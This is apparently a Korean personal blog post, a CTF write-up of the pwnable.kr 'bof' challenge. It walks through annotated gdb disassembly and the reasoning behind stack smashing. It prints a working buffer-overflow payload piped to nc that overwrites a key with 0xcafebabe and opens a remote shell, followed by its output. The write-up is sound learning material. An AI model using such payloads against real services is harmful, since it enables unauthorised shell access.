gunnew의 잡설

pwnable.kr 3. bof (Buffer overflow) (Stack smashing) 본문

System Security

pwnable.kr 3. bof (Buffer overflow) (Stack smashing)

higunnew 2020. 2. 2. 21:22
반응형

이 문제 풀다가 뇌가 정지되는 느낌을 너무 많이 받았다. 어셈블리를 거의 1년 만에 뜯어보게 될 줄이야...

 

일단 gdb (GNU debugger) 사용법도 몰랐다. 아무튼 나에겐 너무 어려웠음.

 

우선 기본적으로 ./bof로 열리지 않는 문제가 발생한다. 이것은 bof 바이너리 파일이 32bit으로 작성되어 있고 우리 운영체제는 보통 64bit이기 때문이다. 아무튼 이거는 구글링으로 해결했으니 따라오도록

 

그림 1 : 버전 체크. 파일은 32bit, 운영체제는 64bit

kimk@ubuntu:~/Desktop/security/bof$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, 
interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0
bcc499504f273, not stripped
kimk@ubuntu:~/Desktop/security/bof$ getconf LONG_BIT
64
kimk@ubuntu:~/Desktop/security/bof$ sudo dpkg --add-architecture i386
[sudo] password for kimk: 
kimk@ubuntu:~/Desktop/security/bof$ sudo apt-get update
...
kimk@ubuntu:~/Desktop/security/bof$ sudo apt-get install libc6:i386 libncurses5:i386 li
bstdc++6:i386 zlib1g:i386
...
kimk@ubuntu:~/Desktop/security/bof$ ./bof
bash: ./bof: Permission denied
kimk@ubuntu:~/Desktop/security/bof$ chmod 777 bof
kimk@ubuntu:~/Desktop/security/bof$ ./bof
overflow me : 

 


1. gdb bof로 디버깅하기

 

gdb bof를 입력하면 다음과 같은 창이 뜰 것이다. 잘 따라오자.

 

 set disassembly-flavor intel을 입력하여 (나에게) 익숙한 인텔 어셈블리로 보도록 하자. 그리고

disass func를 치면 func 함수를 disassembly code를 볼 수 있다.

 


2. disass func

 하 멘붕. 어셈블리라니... 

 

하지만 어쩔 수 없다. 디스 어셈블리 코드를 보고 한 줄씩 해석은 안해도 적당히 무슨 뜻인지 살펴는 보자!

 

Dump of assembler code for function func:

  // push ebp와 mov ebp, esp는 ebp를 스택의 시작점 esp로 바꿔버린다. (ebp는 base pointer)
   0x0000062c <+0>: push   ebp
   0x0000062d <+1>: mov    ebp,esp

 // sub esp, 0x48은 72 bytes만큼의 여유 스택을 할당하는 것
   0x0000062f <+3>: sub    esp,0x48

// gs:0x14는 register segment (인가?)의 주소라고 되어 있던데 무슨 의미인지 모르겠음
   0x00000632 <+6>: mov    eax, gs:0x14

// ebp - 0xc는 ebp - 12인데 밑에서 보면 char overflowme[32]는 ebp - 44에 저장되어 있음.

// 이 둘의 차이가 32인데 이걸 구분하는 무언가 일 수도 있지만 암만 검색해도 뭔지 모르겠으므로 패스
   0x00000638 <+12>: mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>: xor    eax,eax

// 다음 두 줄은 printf("overflow me : "); 시스템 콜을 위한 부분. 0x78c는 아마도 "overflow me :"라는 문자열의 주소인듯
   0x0000063d <+17>: mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>: call   0x645 <func+25>

// lea는 Load Effective Address로 주소를 옮김(mov와 비슷)

// 스택의 시작점인 ebp로 부터 밑으로 44 bytes 떨어진 곳의 주소를 eax에 옮긴다 ? 이게 뭘까?
   0x00000649 <+29>: lea    eax,[ebp-0x2c]

// 그 주소를 esp로 옮기고 시스템 콜을 하는 걸 보니 gets(overflowme); 부분인가 보네!
   0x0000064c <+32>: mov    DWORD PTR [esp],eax
   0x0000064f <+35>: call   0x650 <func+36>

 

// if(key == 0xcafebabe) 부분인데 ebp + 0x8에 있는 값과 0x cafebabe를 비교하는 걸 보니 인자로 넘어온 key는 ebp + 0x8에 저장이 되어 있구나!
   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe

 

... 이하 생략


   0x0000065b <+47>: jne    0x66b <func+63>
   0x0000065d <+49>: mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>: call   0x665 <func+57>
   0x00000669 <+61>: jmp    0x677 <func+75>
   0x0000066b <+63>: mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>: call   0x673 <func+71>
   0x00000677 <+75>: mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>: xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>: je     0x688 <func+92>
   0x00000683 <+87>: call   0x684 <func+88>
---Type  to continue, or q  to quit---
   0x00000688 <+92>: leave  
   0x00000689 <+93>: ret    
End of assembler dump.

 

func 함수 assembler code dump

 

 이를 바탕으로 결론을 내리자면, char overflowme[32]와 int key에는 52bytes만큼의 공간이 있기 때문에 52 bytes를 다른 것으로 채우고 그 뒤에 cafebabe를 입력하면 된다. 이렇게 gets와 같이 길이 제한이 없는 입력 시스템 콜의 경우 stack을 침범할 수 있어 보안상 취약하다. 이것을 stack smashing이라고 부르며 이러한 이유로 Visual studio에서는 scanf 대신에 scanf_s를 쓸 것을 반 강요하며 (물론 이것도 #define _CRT_SECURE_NO_WARNINGS 를 통해 해결 가능하지만), C11에서는 gets가 deprecated되었다. 

 

 아무튼! 이 경우도 지난 번 collision과 마찬가지로 little endian을 고려하여 0xbe, 0xba, 0xfe, 0xca로 입력하자!

 


 3. Payload 작성

 

 그러나 여기서도 입력을 어떻게 하는지 모르겠다... 어쩔 수 없이 해답을 찾아보았다. 여전히 내가 절대 모를만한 것이었다. 역시 사람은 답을 봐야 한다. 그런데 이번엔 답도 모르겠다!

 

이렇게 입력하라는데 이게 무슨 말인지 도저히 모르겠다. 뒤에 ; cat은 왜 나오는 걸까? 

 

일단 시스템 콜 system(" ")이 뭔지 부터 다시 보자.

 

man system 입력하면 이렇게 도움말이 나옴. man 명령어를 잘 활용하자!

 안에다가 shell command 를 입력할 수 있는 것이다.


system("/bin/sh");는 그럼 뭔 말이냐? 우리가 리눅스 환경에서 위와 같이 입력하면 /bin/sh 경로로 이동하게 되잖아? 아하! 그럼 우리는 지금 python -c 를 통해 "A"*52 + 0xcafebabe를 입력하고 나서, nc pwnable.kr 9000으로 들어가서 /bin/sh에 들어가 flag에 있는 내용을 보고 싶은 거니까 이렇게 입력하면 되겠구나.

 

어라 근데 이렇게 입력해도 뭐가 되지 않는다. 왜지? 

 

.......

.......

.......

.......

 

 그러다가 stackoverflow에서 나름 괜찮은 답변을 찾았다. 

 

https://stackoverflow.com/questions/54375848/what-is-the-difference-between-python-c-print-and-python-c-print-cat

 

what is the difference between "python -c 'print' " and "(python -c 'print'; cat)" in linux

I usually use "python -c" to pass arguments to C program. Like this: $ python -c 'print "a" * 12' | ./program but when I execute a BOF practice program pwnable.kr/bof, the python -c 'print' an...

stackoverflow.com

 

 

 

 

 

 

 

 

 정리하면 이렇다. python -c 'print("A"*52 + "\xbe\xba\xfe\xca") 을 통해 A*52와 0xcafebabe를 입력할 수 있다. 그리고 나서 nc pwnable.kr 9000 에서 실행하여시스템 콜인 system("bin/sh")를 실행해야 한다. 그렇게 /bin/sh를 실행하고 나면 입력을 받으려고 한다. 그런데 입력을 받을 수단이 없으므로 우리가 키보드로 아무리 쳐도 다음과 같이 아무 것도 나오지 않게 되는 것이다.

 

실패한 그림


 따라서 python -c print뒤에 ;cat 이라는 소프트웨어를 실행하여 표준입력을 받을 수 있게 해야 한다.

kimk@ubuntu:~/Desktop/security$ (python -c 'print("A"*52+"\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000

 

와 같이 해주고 ls를 치면 다음과 같이 목록이 뜬다.

 

kimk@ubuntu:~/Desktop/security$ (python -c 'print("A"*52+"\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000 
ls 
bof 
bof.c 
flag 
log 
log2 
super.pl 

여기서 이제 cat flag를 통해 flag에 무슨 텍스트가 들어있는지 확인해주면 끝난다.

드디어 정답!

 

반응형

'System Security' 카테고리의 다른 글

pwnable.kr 6. random  (0) 2020.02.05
pwnable.kr 5. passcode  (0) 2020.02.04
pwnable.kr 4. flag (UPX unpacking problem)  (0) 2020.02.02
pwnable.kr 2. collision  (0) 2020.02.02
pwnable.kr 1. fd(File Descriptor)  (0) 2020.02.02
Comments